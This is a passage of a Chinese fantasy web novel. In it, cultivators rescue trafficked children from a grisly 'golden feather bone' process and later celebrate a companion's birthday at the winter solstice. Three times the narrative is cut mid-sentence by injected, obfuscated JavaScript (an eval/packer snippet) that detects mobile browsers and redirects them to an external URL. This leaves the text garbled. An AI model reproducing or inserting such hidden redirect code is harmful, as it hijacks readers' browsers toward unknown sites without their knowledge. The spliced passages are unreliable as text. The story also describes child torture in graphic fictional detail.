贺江年道:“这附近的门派就一个吞象阁了,那老头子不管事,说话还难听,叫他还不如叫云间世呢,可惜云间世离得有些远,也不知道能不能及时派人来,而且要是来的动静太大了,把人吓跑了怎么办。” 陆云笺道:“那要不直接把他们打趴下?” 贺江年摇头:“被我刺了一下的那个人不修道,门派有规矩,修士不能和他们大打出手,要挨板子的。刚进来那个好像会点法术,这里面,”他指了指墙上的暗门,“有三四个小孩,都放了血,昏迷着,又怕真动起手来,他拉着这些小孩子同归于尽。” 贺江年思索片刻,又道:“这样吧,待会儿那两人再进来,我先放个限制法咒限制住他们的行动,云笺你赶快联系陆明周,要他赶紧派几个人来把这儿查了,把人抓回去审。”说着似乎想起了什么,又问,“……裴世没和你一起吗?” 陆云笺勉强笑了一下,道:“他倒是来了,但我也不知道他去哪儿了。” “实在不行的话,”贺江年道,“我把他们押回去算了,云笺你就想想办法把这些小孩子们救出去。” 陆云笺道:“这样可以,你走之后,我用通讯符叫裴世来把这些孩子送出去。现在他要是来的话,万一打起来,他又得挨个几百大板了。” 贺江年却没作声了,半晌才道:“还是等等看云间世的人要多久才来吧。” 陆云笺倒是有些奇怪,笑道:“江年,顾虑这么多,都不像你风格了。” 贺江年愈发恹恹地:“上回同渊阁倒了,其实我们这些知道些内情的人也都知道是裴世把它炸了。我看那同渊阁往日里黑心事做多了,被炸了也算是它活该,但是我师尊知道后给我好一顿说教,让我不要掺和这种事,可麻烦了。”他说着便又很诚恳地看向陆云笺,“云笺,还有刚刚我放暗箭那事,你别告诉我师父,免得又气着他老人家。” 陆云笺笑道:“行。”说着便听见门口传来动静,连忙压低声音,“江年你再施个隐身咒,他们要进来了。” 再次进来的两人没再说话,瘦麻秆把炉火熄了,用铁钳挑出尚未烧完的灵石,死鱼眼则径直奔墙边的暗门而来,脚步轻缓,手上暗暗蓄力,掌中凝着灵光。 贺江年蹲在墙边,紧盯着他手上动作,蓄势待发。 正当贺江年凝出法咒,准备给他迎面一击时,忽然“砰”的一声,一道金光闪过,哗啦啦一堆木块铁钉茅草劈头盖脸砸了下来,再一看屋顶,早已破了一个边缘参差不齐的大洞,外头劲风呼啸,从洞中灌入,刹那间,原本因炉火燃烧而闷热的屋内涌入了阵阵冷意。 锅中滚烫的水因着从屋顶袭来的金光而泼溅出来不少,尽数溅在正蹲在炉边的瘦麻杆身上,烫得他吱哇乱叫。 那强劲的金光是冲着死鱼眼去的,然而他早有准备,身手也快,猛地转身放出灵力,挡了一击,这才没有受伤。 一道白影一跃而下,金光一闪,再次朝着死鱼眼袭去,死鱼眼掌中灵光乍起,分明是摸不着的灵光相碰撞,却发出了铿然声响。 裴世在屋中站定,他似乎非常不喜屋内熬煮药草的味道,一挥衣袖将那浓烈的气味散去了些,这才转头看向站在墙边的两人。 贺江年见是他,早把隐身咒撤了,裴世淡淡瞥了他们一眼,什么都没说,只加强了手中的灵力,打得死鱼眼满头大汗、节节败退,余光却瞥见陆云笺一直盯着自己,于是转头问道:“怎么了?” 陆云笺并没有把目光收回,而是笑道:“你下手真准,这口锅占了屋子大半地方,你从屋顶上跳下来,居然没有掉进锅里。” 裴世:“……” 几句话间,陆云笺才注意到裴世臂弯中似乎护着一个小小的人形,只是那身形太小,裴世又护得很严实,这才令她没有一开始便注意到。 裴世微微松了手,陆云笺这才看清他护着的竟是一个瘦小的女孩,浑身鲜血,将他雪白的衣襟染得鲜红。 小女孩儿脸颊通红,乌发凌乱,眼眸紧闭,双手却死死拽着裴世的衣襟,陆云笺下意识伸手去接,两人轻手轻脚地没有将女孩吵醒,陆云笺将她抱在怀里,这才看清—— “燕燕?!” 这正是之前在上坪村遇到的、一家都葬身火海的小女孩儿。 陆云笺惊道:“可我们不是把她送到了……” 裴世道:“她姑父家视她为不详,又见财起意,将她卖到此处。她费尽力气逃出来,我也正巧在查金羽骨之事,就碰巧遇上了她。” 陆云笺不由地将怀中的小女孩抱得更紧:“可她分明已经八岁了,不该如此瘦小才对。” 裴世道:“制金羽骨的第一步,是将活人的血抽出将近一半,再将其以特殊烈火炙烤,不伤其它,只缩小其骨架,使其更加接近照翎族混血后代。在此过程中,如若顺利,她的肤色会更白,发色与瞳色也会渐渐变淡。” 陆云笺忙低头看向怀里的女孩,不知是不是错觉,她觉得女孩的眼睫确实不如印象中那般浓黑,而更接近金棕色,甚至泛着若有若无的淡淡金光。 正在此时,一旁忽然“铿”的一声,炸开一团炫目白光。 “……金羽骨也算是秘术,时至今日已经没有几个人知晓,我当是什么,莫不是同行?” 死鱼眼呼哧喘着气,言语间似 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16209461|179016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有缓和,然而几句话间,甩出的暗箭却已经离裴世的眼瞳不过咫尺。 裴世的目光转向他,瞬时便冷了下来,他抬起左手轻飘飘捏碎了死鱼眼灵力凝成的暗箭,右手金光闪过,归云剑立刻出现在他手中。 “十几年没见了,不想你竟还长了几分本事。” 死鱼眼道:“我何曾与阁下见过。” 裴世冷笑道:“无妨,你既是将死之人,记不记得这些往事,也没什么关系。”说罢在他面前站定,抬剑欲砍。 陆云笺忙一把拽住他:“等等,已经传讯让我哥派人来了,还是等他们来吧,你别动手了。” 贺江年趁着死鱼眼紧盯裴世而没有注意他的工夫,抬手施了早已准备好的限制咒,也道:“是啊裴世,不管是凡人还是修士,或者是这种有点灵力但没入门派的,要是下手重了,问起罪责来,可都逃不过挨几顿板子的。” 陆云笺拽着他,裴世转头看着她,两人僵持片刻,裴世还是把剑收了,手中灵力却没有收,仍在他指尖流转。 炉火已灭,锅中的药汤也渐渐冷却,一旁柴堆里躺着的孩子还没醒,瘦麻杆先前便被锅中泼溅出的滚烫药汤烫晕了过去。 贺江年道:“这里面还关着四个小孩,可能都已经被放了血了,都昏迷着。我身上没带多少药,你们带了吗?” 陆云笺道:“我带了我带了。”不仅一直带着,刚刚回云间世一趟,又补给了不少。 她看着墙边那个狗钻都勉强的小洞,道:“……我们是钻进去,还是……” 话未说完,便是砰的一声炸响,砖石粉碎,墙灰扑了站得最近的贺江年满脸。原先窄小的洞口,霎时被扩至了约摸一人高的初具雏形的“门”。 裴世放下手,淡淡道:“何需麻烦。” 陆云笺:“……” 贺江年:“……” 贺江年将那些孩子手上的镣铐一一震碎,又给他们服了药,将他们带到门边,等着待会儿云间世的人来了,就让他们一并把这些孩子带走。 却在此时,死鱼眼的指尖微微一动,登时便有一个孩童面目青紫、筋络暴突,双目仍禁闭着,双手却揪紧了胸口处的衣服。 死鱼眼的动作细微,又被下了限制咒,众人第一时间竟没有想到他,都慌忙去找或许可以缓和的药。 裴世不通医理,也不习惯带药在身上,因此帮不上什么忙,他扫了一眼盘坐在限制法阵中的死鱼眼,道:“你干的?” “哪儿能呢。”死鱼眼优哉游哉地,“这不是有个限制阵?我又施不了什么法咒。” 裴世道:“看来,十年前那件事,你还是被吓怕了啊。” 死鱼眼猝然睁大了眼睛,那张病恹恹的面容忽地涌上了并不常见的强烈情绪,虽然只有一瞬,却令他眼下乌青都显得色彩鲜明起来。 “……是你?” 裴世没理他,径自道:“修士要动手,的确有很多条条框框,很是麻烦。但我不弄死你,并不是因为这个,你应该想错了。” “再者说了。”裴世抬手,金光闪过,继而猛地炸开,陆云笺和贺江年闻声回头,只见死鱼眼应声伏地惨叫起来,痛至浑身痉挛,手腕处涌出汩汩鲜血。 “对你这种罪孽深重还不配合的人,炸断你双手筋脉,不也无可厚非么?” 59. 金羽骨(2) 死鱼眼伏倒在地,眼眶血红,他抬起头,死死盯住裴世,仿若自地狱而来索命的厉鬼:“我只恨……当年没能杀了你。” “我也是。”裴世冷冷看着他,嘴角揉开一丝笑意,“我也只恨,没能在当年就杀了你。” 那边的孩子因为死鱼眼再不能使用任何手段控住他,已经再度昏迷了过去,贺江年忙将他扶回墙边,又喂了一粒药,扶额愁道:“这几个孩子只被放了血,还好办一点,但是另一间房里似乎还有几个孩子,不知到哪一步了,还来不来得及挽回。” 陆云笺将另一处角落里昏迷的小孩抱起,道:“这个孩子似乎是从另一间房里带来的,我看那个瘦麻秆,好像是要把那锅里的水倒到他身上去,所幸没有倒上。不知道还能不能让这个孩子恢复原样了。” 贺江年在瘦麻秆身旁也落了一道限制法阵,尽管瘦麻秆并没有要醒来的意思,即便是醒来,他全无法力,也根本不可能与他们抗衡。 他察看了陆云笺怀中的孩子,道:“这个小孩看体型好像三四岁的样子,但肯定不止三四岁,恐怕已经经过了裴世说的那个什么……烈火炙烤,缩小骨架了,要恢复原样怕是有些难。” 裴世道:“烈火炙烤后,需以先前抽取的血混以多种珍稀药草熬煮成沸汤,将孩童的皮肉烫去,以便长出新的皮肉,更接近传说中照翎族后代所谓的肤色若雪、体泛金光。也需将孩童的声嗓毁坏,使其不能再说人语。 “趁着新的皮肉长出前,还需穿刺其琵琶骨,种下金色的羽翼,但这种羽翼并非天生形成,而是由人所造,因此更像是一种机械,而非血肉。 “长出新的皮肉并使羽翼长全需要半个月,半月之后便可关在笼中进行售卖,同渊阁黑市中,一只‘成色’好的金羽骨,卖出过五十万金。即便是‘成色’不好的,最低也能卖八千金。” 陆云笺不自觉地打了个寒噤:“……当真是惨无人道。可如果不能熬过其中的步骤,那又会怎么样?” 裴世道:“自然是有很多人都熬不过的,烈火炙烤,沸汤烫去皮肉,穿刺琵琶骨,每一步都会有很多孩子死去。所以每一步开始前,总会先稍作试探——比如,不一次性烫去全身皮肉,而是先烫去一点点,再一寸一寸地扩展至全身,如此便可减少死亡。若是真的熬不过死了,便扔在河里,扔在路边,或者将尸体焚烧掉。” 他说着,又将目光投向伏在地上的死鱼眼,似是无甚情绪地说道:“我竟不知,熬到最后被制成所谓的金羽骨关在笼中售卖,或是从一开始便死去,曝尸荒野被野狗啃食,哪一者才是解脱。” “这样的话,到了沸汤……”贺江年似乎有些膈应,顿了一下,没有将那句话说下去,而是道,“那岂不是就很难挽回了?” 裴世道:“是。但世上或许还有人能够医治,只是不知在何处才能找到这种人了。” 贺江年叹气道:“我记得好多年以前的参世仙人,传说可以起死人肉白骨,法力无边,慈悲为怀,可惜参世仙人十年前就已经仙逝了,不然若是去寻他,或许还是可以挽回的。” 听他如此说,裴世似是若有所思地低下了头,没再说话。 贺江年又道:“不过裴世,这金羽骨不是鲜有人知的秘术吗,你怎么知道得这么清楚?” 不待裴世说话,一旁的死鱼眼却忽地冷笑一声,双目死死盯住他,眸光仿若淬了毒的利箭:“那是因为他……”然而下一刻,他便呕出一口血,再想说什么,一时间也说不出来了。 裴世淡淡收回目光,道:“几年前我就开始查金羽骨之事,这些年他们受同渊阁庇护,难以查探,如今同渊阁已毁,这些见不得光的事,倒终于现了原形。” 他并不打算多说此事,因此又转了话锋:“不是说另一间房里还有几个孩子?不若将他们都带到此处,一并交与云间世。”说着转身欲走,又像是忽然想起了什么,转头瞥了陆云笺与贺江年一眼,“陆云笺,你身上既然带了药,不如一同去看看?” 陆云笺原本也正在犹豫要不要跟上,闻言应道:“好。” 贺江年道:“哎我……” “此处限制阵法既然都是贺公子所设,贺公子还是留在此处比较好。” 贺江年原本不想留在这弥漫着古怪药草味的房里,但无奈裴世说的很在理,他只得又缩回墙边,和趴在地上活像只蟾蜍的死鱼眼大眼瞪小眼。 许是事态严重,牵扯了好些原先在同渊阁的黑商,又或许是直接与陆明周传讯的缘故,这一回云间世的人来得很快,只花了约莫一炷香的时间。 平日里云间世派弟子下山除祟,一贯是几百几千银才能请来中阶弟子,此时十余名中阶弟子由于房间太小,都押着死鱼眼和瘦麻秆站在院中等候,留三名为首的高阶弟子在屋中与三人谈话。 陆云笺同几名弟子说明了情况,强调了无数遍一定要好好审一审这些惨无人道的黑商,最好把同渊阁黑市里见不得人的勾当全都一锅端了,并且一定要尽力帮助这些孩子都恢复好,再送他们回家。 为首的那名高阶弟子生得清清冷冷,垂眸听陆云笺讲完,也没什么表情,只道了句:“是。”说罢就要唤外头的中阶弟子进来把屋里的小孩都带走。 却在此时,裴世拦住他:“且慢。” 那名高阶弟子淡淡抬眼,看见是他,神情便和其他人一样有些微妙,与面对陆云笺时的恭敬和一贯以来的平淡都不同,但也只是道:“裴仙君还有什么事么?” 裴世没有在意他的神情如何,只将这一行人看见那些或血肉模糊或鲜血淋漓的孩子时的不耐与恶心都收入眼底,开口时便有些不善:“此事我们早已与陆少主言明,尊主与少主有言,这些孩子都是重要人证,务必将他们安全带回云间世,不得有差错。” 三名高阶弟子都抬眼看向他,有人不耐有人不悦,只有为首那人仍是淡淡地:“那是自然。” 裴世没有看他,只抬手在所有孩子周身都施了一层保护法咒,道:“还烦请转告少主,若是这些孩子无法医好或是不得返家,若不能留在云间世,就每人发放五百银,从我的俸禄里扣。” 陆云笺闻言看向他,平生第一次觉得这人温善的相貌真与他有几分相符,眼看着气氛有些尴尬,当即举手道:“加我一个。转告我哥,若有需要,要多少扣多少。” 贺江年见状也道:“那也带上我。” 为首的弟子见此状况,眼睛扫过三人,最后转向陆云笺,道:“是。”就此率着一众弟子、带着七八个昏迷不醒的孩童、拎着死鱼眼与瘦麻杆,御剑往云间世的方向行去。 陆云笺重重舒了口气,道:“也算是又了结了一件大事。” 此时阳光早已被浓云遮盖,眨眼间乌云密布,再抬头,细细雨点淅淅沥沥落了下来,陆云笺一不留神,几滴雨便滴入了她的眼睛,她揉着眼睛,笑道:“下雨了啊。” 一道金色的避雨结界在头顶撑开。 陆云笺揉着眼睛尚未睁开,转头笑道:“又是带人又是御剑,偏偏还正巧遇上了下雨,这会儿他们在天上该骂人了。” 此后几天,贺江年住在镇上的客栈,陆云笺与裴世拗不过柳娘,便留在眉阳山下的小村庄住了几日,后来季衡、季瑶处理完了门派事务,五人便在镇上汇合,赶往下一站。 那日云间世的弟子来将被抓去制作金羽骨的孩子们带回云间世,自然也带走了燕燕,然而那小姑娘一在剑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16214616|179016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上醒来便挣扎不已,手砸脚踢嘴撕咬,弄得那群弟子不仅无法御剑,更是寸步难行。 几名弟子瞧她声嗓被毁,双手亦不能书写,看来也无法提供什么有效信息,便又给陆云笺等人扔了回去。 燕燕被金羽骨秘术伤得厉害,因此昏迷了多日,时常意识不清,这几日有所好转,终于能自己行走,只是她变得极为怕生,只与陆云笺和裴世亲近些。 不过季衡、季瑶一直医治着她,而贺江年又是个率直性子,好说话,因此燕燕跟着他们走了几日,也渐渐熟络起来,不再那么抗拒。 几人或多或少,不管是明面上还是暗地里,都背负了些任务,可一同走遍天南海北,居然也并不能全然说是在赶路,往日里不曾也不能留意到的风光,都如绘卷上的景象,缓缓铺陈开来。 细雨时断时续地下了一月有余,大多数时候,无论是莽莽原野还是粼粼水乡,都好似披上了层层薄纱、片片烟霭。 他们一起走着,从漫漫细雨里走到了纷纷大雪中。 转眼之间冬至便到了眼前,已近一年的尾声。冬至前后下了今年的第一场雪,雪不大,堆不起来,反倒很是湿冷。 几人都裹得很严实,可惜细密的雪无孔不入,要开结界又毕竟太耗费灵力,碰巧到了贺江年家附近,便在此处落了脚。 贺江年忙里忙外地搬柴生火煮热粥,先前他传讯告诉父母,他要带几个朋友回家住一段时日,谁知碰上他父母外出云游,不能立即赶回,便叫贺江年自己好生招待朋友们,尽一尽地主之谊,若有需要,大可把珍藏的虎皮毯子都拿出来,每个房间都铺一张。 于是原本简陋的几间木屋就成了土匪山寨,几个可以说是仙气飘飘的仙君都成了土匪头子。 贺江年有些不好意思地挠头:“这几间屋子平日里没有人住,就有时候要是碰上哪个受伤或者有需要的老百姓会来住上几天,简陋了些,你们别介意啊。” 几人都连忙摆手表示不介意。 贺江年又不好意思地掀开锅盖,在锅中飘出的难以言说的“粥香”中,道:“真是,早知道还是让云笺来了,我娘果真没说错,我们一家子谁做饭那都是灾难。倒了算了。” 但几人到底还是给他面子,每人盛了一碗,至少发挥了它暖心暖胃的功效。 季衡道:“明日是冬至,我与阿瑶得回镜阳宗一趟。” 冬至祭祖,是许多家族的规矩,云间世似乎也有此规矩,不过陆云笺并不参与,她垂眸又喝了一口热粥,道:“那什么时候走?” 季衡道:“明日卯时出发,白日里应该都不回来了。” 陆云笺道:“季衡哥,虽然你们真的很忙,但我还是要很不讲理地说一句,你们可不可以办完了事,明天晚上就回来?” “……这是为何?” 贺江年忙在旁边帮腔道:“冬至要吃饺子吃汤圆啊,我爹娘明天晚上之前也会赶回来的,大家一起热热闹闹地聚一聚嘛。” 季瑶也道:“兄长,左右祭祖完无事,从镜阳宗御剑来此地也不过半个时辰,聚一聚也是好的。” 于是在众人齐心协力的劝说中,季衡虽不明所以、有些哭笑不得,但还是道:“若是无事,那便回来好了。你们如此……倒让我觉得我要一去不得返了。” 第二日,也就是冬至,卯时冷风阵阵,常常巳时才能起的季衡准时与季瑶一同御剑于半空,其余三人甚至加上燕燕也莫名其妙地起了个早来送。 陆云笺疯狂地朝立在剑上的季瑶使眼色,那意思很明显:记得今天晚上无论如何都得把季衡弄过来。 在季衡调转方向,朝着镜阳宗而去时,季瑶回过头,微不可察地对他们点了点头。 60. 妄笑泪 初雪只下了一天一夜,第二日清晨便停了,送走季衡与季瑶后,自覆满了雪的枝桠间,探出一抹红日,日光很盛,雪化得很快。 几座小木屋隐在山林之间,平日里除了山间动物偶然来访,一贯是冷冷清清的,几人到了此处,修缮木屋,生火做饭,平添了几分从不曾有的烟火气。 在贺江年的死缠烂打下,他的父亲与母亲终于还是在傍晚前赶了回来。 他的母亲原本对悠闲自在的云游被打断一事十分不满,正提着贺江年的衣领,走进院中瞧见正在生火的陆云笺与裴世,便倏地放了手,道:“这两位是……” 陆云笺眼尖,立马放了手中木柴,起身道:“伯父伯母好。” 抓着贺江年的那名女子一身黑色劲装,束高马尾,银护腕上无多余雕饰,肤色是并不常见阳光的冷白,打扮与她身旁立着的那名男子很是相似。 二人腰背都挺得很直,只是那名男子嘴角带着笑,看起来要更为平易近人,女子则微微眯着眼,说不上是生人勿近的冷淡,还是下一秒就要挥鞭子抽人的凌厉。 不过她听见陆云笺唤他们,便把贺江年放了,拍了拍手,上下扫了陆云笺一眼,笑道:“哎,我认得你的,云间世的陆小姐。” “嗯,伯母好,我叫陆云笺。” “你好你好。”黑衣女子走近了,拍了拍她的肩,眼中就很明显地带上了赞叹与欣赏,多扫了陆云笺两眼,“年轻就是好啊,想当年……” 黑衣男子轻咳一声。 “……想当年我也这么年轻。” 陆云笺悄悄动了动被拍得有些痛的肩膀,准备向她介绍一下裴世,就听她道:“这位是云间世的归云仙君嘛,我也认得的,之前碰见过你削鬼魈,唰唰的,还想问问你怎么练的呢。” 裴世:“……” 好在贺江年到底是与父母非常相像,他是个地道的自来熟,那么他的爹娘也必不会端出拒人千里之外的高冷来。 二人刚进屋中时,尚是一身霜雪,进屋片刻,霜雪便被烧着的火炉烤化了,湿冷水汽也一并融入了屋中与外隔绝的暖意之中。 黑衣女子手脚飞快地把窗棂钉严实了,边钉边道:“不用喊伯父伯母,感觉突然老了几十岁。就直接叫名字,我叫云鹤,他叫贺昀,你们要是想的话,也可以叫他云夫人。” 陆云笺一时没忍住,噗嗤笑了出来,抬眼去看蹲在一旁磨刀的黑衣男子。黑衣男子似是有些无奈地笑道:“如果你们愿意,她估计还想要你们叫她云大仙。” 云鹤轻轻哼了一声,道:“我看外头石桌上堆了些宣纸竹篾什么的,你们是要做孔明灯?” 陆云笺道:“嗯,不过季衡和季瑶还没回来,等他们回来了再一起做。” 云鹤钉窗户的手微微一顿,不过只是片刻,叮叮当当之声复又响起:“噢,镜阳宗的大师兄和大师姐啊,我也好久没见到他们了。不过镜阳宗掌门不是每年冬至都要祭祖的吗?何须再单独放灯祈福?” “放灯祈福是一方面,”陆云笺道,“我们其实也不是为了祭奠而准备的……”话未说完,她忽地发觉身上的通讯符有动静,一下便站了起来,没再继续说下去。 云鹤道:“挺好的,要是为了逝去的人和物整天苦大仇深的,自己不痛快,死去的人也未必就放心。要我说,不管是哪一天,三两好友若是聚在一起,那都得热热闹闹的,何须去盼着除夕元日。” 话刚落音,门外便传来沙沙声响,那声音尚有些远,也很轻微,可这一屋子的人,耳力绝不是白练的。 云鹤当即停下了手上动作:“有人来了?” 屋里盈满了暖洋洋的火光,屋外万籁俱寂,连寒冬的风都平息下来,是个难得的晴好夜晚。 季衡刚从镜阳宗赶来,收了剑,沿着小道向木屋走去。 四周重重山林黑黢黢一片,唯有草丛中冒出点点金光,像是团团萤火,照亮了小径。院中没有灯,但却并不是完全的黑暗,有人点燃了一盏灯,那灯飘飘摇摇,升上夜空。 静夜无风,那灯飘得很缓,照亮了一隅之地。冬至放飞孔明灯为逝去之人祈福是民间风俗,因此季衡虽觉得有些奇怪,却并没有多少意外。 他听见有人说:“成功啦!”很是雀跃的声音。 他走近了,借着孔明灯的微光与月光看清了立在石桌旁的三人,道:“……这是在放灯祈福?” 陆云笺转向他,笑道:“是祈福,也是许愿。季衡哥,这儿有一盏现成的灯,你来点一个试试看?” 季衡立在石桌前,一时有些怔愣,没明白这几人在做什么。 他虽身处仙门名家,却从未做过、放过什么孔明灯,对它唯一的了解,便是偶尔在节日里,山顶会飘过一两盏,上头黑墨写着各种心愿或祝福,很亮也很烫,从不停留,匆匆便飘过。 他在几人的撺掇下提起笔,不知道如何下笔、又该写些什么,笔尖滴墨,在宣纸上晕开一个黑点,然后他听见陆云笺道:“没事的,随便写点什么,想写的都可以写,那边还有很多材料,我们可以慢慢做慢慢写,放飞很多盏。” 陆云笺见季衡仍是没有下笔,拍了拍一旁的裴世与贺江年,又拉了燕燕,道:“你慢慢写,我们去整理一下材料。”说着转身欲走,给季衡一点个人空间,却被季衡唤住了:“无妨,没什么不能看的。” 他说着便提笔写好了,陆云笺抬眼一看,那字龙飞凤舞,一眼过去,只看清了“永思不忘”四字,是怀念先祖之意,心中不知是何滋味,只帮他撑住了灯,道:“点吧。” 点好了火,陆云笺便又将灯交到季衡手上,由他亲手放飞。季衡虽不知他们这般神秘兮兮究竟是何意,但还是照做。 孔明灯悠悠升上天空,逐渐飞远,嵌入夜空,漆漆夜空中便多了一粒星辰。 季衡目送着那盏灯飘远,转身正欲说话,四周却忽地亮起了一大片,无数萤火托着十几盏明灯自他们身旁升起,他甚至有那么一瞬间被晃住了眼睛,还道是幻觉。 可下一刻,便有个清晰无比的声音响起:“兄长,生辰喜乐。” 他蓦地转身,看见他们的脸都被灯光映亮。 先前说有事让他先行一步、之后再追上的季瑶,其实早就绕路走了另一边,甚至到得比他更早。她捧着一盏灯,笑意浅浅,指尖灵光未消,牵动着四周忽起的大片萤火。 每一个人都在说:“季衡,生辰喜乐。” 声音交杂在一起,温和的,热情的,雀跃的,生硬的。 就连已经发不了声的燕燕也手舞足蹈地跑过来拉他。 “……生辰?” 季衡生得清冷,平日里说话不多,喜怒不形于色,即便是有暖阳,有激流,也都尽数隐在平淡之下,几乎显得有些不近人情。此时此刻,他却完全无心掩饰惊讶与无措,他眼前阵阵发黑,几乎是下意识倒退一步,闭上眼睛,指尖抚上额角。 待缓过神来,他抬眼去看四周那些灯,每一盏都工工整整写了字,每一盏都祝愿他,生辰喜乐,遂心如意,长寿安康。 他有些恍神,头脑一阵一阵发疼。 后来他被众人拉着一起用竹条搭出骨架,将宣纸剪好,糊成灯罩,题字,点燃,放飞,写了好几盏,仿佛要把这一辈子所有生辰都挤在这一天过完,所有心愿都尽数投入这片夜空。 制作孔明灯渐趋熟练时,他仍然有些恍惚,不知是不是在做梦。 不过他并不曾做过这样的梦。 云鹤与贺昀在屋子里擀面,云鹤本想参与制作孔明灯,但观望一阵,还是没动,只抱手站在门边,瞧着院子里二十出头的年轻人们蹦蹦跳跳。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16218633|179016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 几人放完了灯,便回屋里帮着擀面和馅。 陆云笺做糕点是一把好手,因此承担了指导之责,奈何这几人画符咒飞快,开法阵迅速,使得了刀剑、装得了机甲,包起饺子来,却一个比一个手笨。 贺江年看了陆云笺的示范,当即迫不及待地挑了一张最大的饺子皮,舀了一勺又一勺鲜肉和着虾仁的馅,一股脑塞进去,直将那饺子皮撑得近乎透明了才收手,将饺子皮边缘捻紧的时候倒是很小心仔细,然而包好了还没来得及出声炫耀,馅便撑破了皮,尽数掉在桌上。 贺江年还没来得及为刚逝去的饺子哀悼,便听旁边裴世冷笑一声,施施然拿过了一张饺子皮。 他没像贺江年那样所求太多,甚至只谨慎地舀了一小勺馅料,将饺子皮边缘捻了两三遍,又捧在手里捏了半天,尽量让饺子看起来更圆润。然而正要将饺子摆到一旁的竹匾里,那饺子却忽地开了口,原本被封得严严实实的馅料,便也“啪”地一声尽数掉在了桌上。 裴世拎着兀自留在手里的饺子皮,在贺江年的大笑中,脸越来越黑。 陆云笺无奈扶额,转向一旁一直没有说话的季衡:“季衡哥,你也来包一个试试看?” 季衡还是没有说话,他看起来虽是一切如常,却仿佛早已神游天外,像个得令的机械偶人一般嘎吱嘎吱依言而动。 他包得仔细而缓慢,馅料放得很合适,皮也捻得紧,但似乎对这饺子的形状很不满意,回忆着陆云笺的示范,捏了一道又一道褶,却总觉得哪里不对劲,最终盯着那扁平的饺子看了半天,做了个艰难的决定—— 他放弃了捏出好看的褶子,选择保留圆润的特征。于是他下定决心般将手中的饺子一捏一团,再展开手掌时,扁平的饺子成了一个皱缩的纸团,越揉越皱,越捏越不成形。 陆云笺有一瞬间的无助,看着这些奇形怪状甚至干脆没有成形的饺子,有些怀疑自己的教学水平。 不过既是季衡的生辰,他的面子还是要给的,于是陆云笺对着那团皱缩的饺子点了点头,道:“挺好,挺严实的,可以下锅煮,不会散掉。”说着抬眼看见季瑶,像是看见了救星一般,招手道,“季瑶,你要不要来包一个饺子试试?” 季瑶本在帮着烧火,此时路过,见陆云笺招呼她,有些犹豫:“我不会包饺子,恐怕……” 陆云笺一把拉过她:“没事的,大家都包得很丑。” 贺江年:“?” 裴世:“……” 季瑶包饺子也很小心,只是动作轻柔,不似其余三人那般生硬,纤长十指将饺子捏得圆润紧实,放在竹匾上,宛如呈了一颗浑圆雪白的白玉珠子。 季瑶道:“不是很好看,不过下锅煮应该是可以的。” “看看人家。”陆云笺原本最不喜动不动拿“别人家的孩子”说事的家长,此时此刻却也忍不住扶额拍手,“再来再来。” 如此练了十几遍,季衡学得很快,片刻之后便不再需要指导,倒是其他两人,捏出的饺子一个比一个奇形怪状,不知不觉已经捏了一整盘东倒西歪的饺子,也不知道下锅之后还能保住多少。 在陆云笺疲于教学、已经无聊到开始捏元宝饺子玩儿的时候,贺江年忽地一跃而起,拍手喊道:“我!!我终于成功了!!!” 陆云笺抬眼望去,瞧见竹匾上立着一只足有两倍大的饺子,不过捏得紧实又圆润漂亮,的确值得庆贺。 贺江年一兴奋就想拉着爹娘和季瑶来看他的旷世佳作,却不料这一瞬放松警惕,就遭了旁人的偷袭。 不知是出于自己包不出好饺子的嫉妒,还是被贺江年的叽叽喳喳吵得烦躁,裴世黑着脸,冷漠绝情地抬起手—— 指尖轻轻巧巧一弹,贺江年的旷世佳作便直挺挺倒在了竹匾中,伴随着开膛破肚流出的馅料,不幸身亡。 61. 长相念 贺江年心痛至极的惨叫并没有影响冬至夜晚的其乐融融。 一竹匾饺子下肚,众人都在这令人渐生醉意的暖洋洋中放下了时刻持着的警惕防备,仿佛极为普通的亲朋好友那般,把酒闲谈。 燕燕精力不支,吃了些饭便回房睡觉,剩下的人能喝酒的喝酒,不能喝酒的也有贺江年爹娘亲酿的米酒,只一会儿一坛酒便见了底。云鹤与贺昀便出去热酒,贺江年趁着这个空档,悄悄对众人道:“他俩准是想把我们灌醉了,拖到地窖里去。” 陆云笺不明所以:“……拖到地窖里去做什么?” 贺江年满面通红,俨然是喝高了,神情却很是严肃,煞有介事地道:“拖地窖里不容易坏,大冬天的……可以做腌肉啊,或者熏着……熏着吃。” 季瑶闻言,夺过他手中酒杯:“你喝糊涂了。” 贺江年道:“我说真的。你们看他俩的样子,是不是看起来削人切肉就很厉害?一般……一般都是我爹磨刀,我娘下药,至于谁切片,那就比较看心情。” 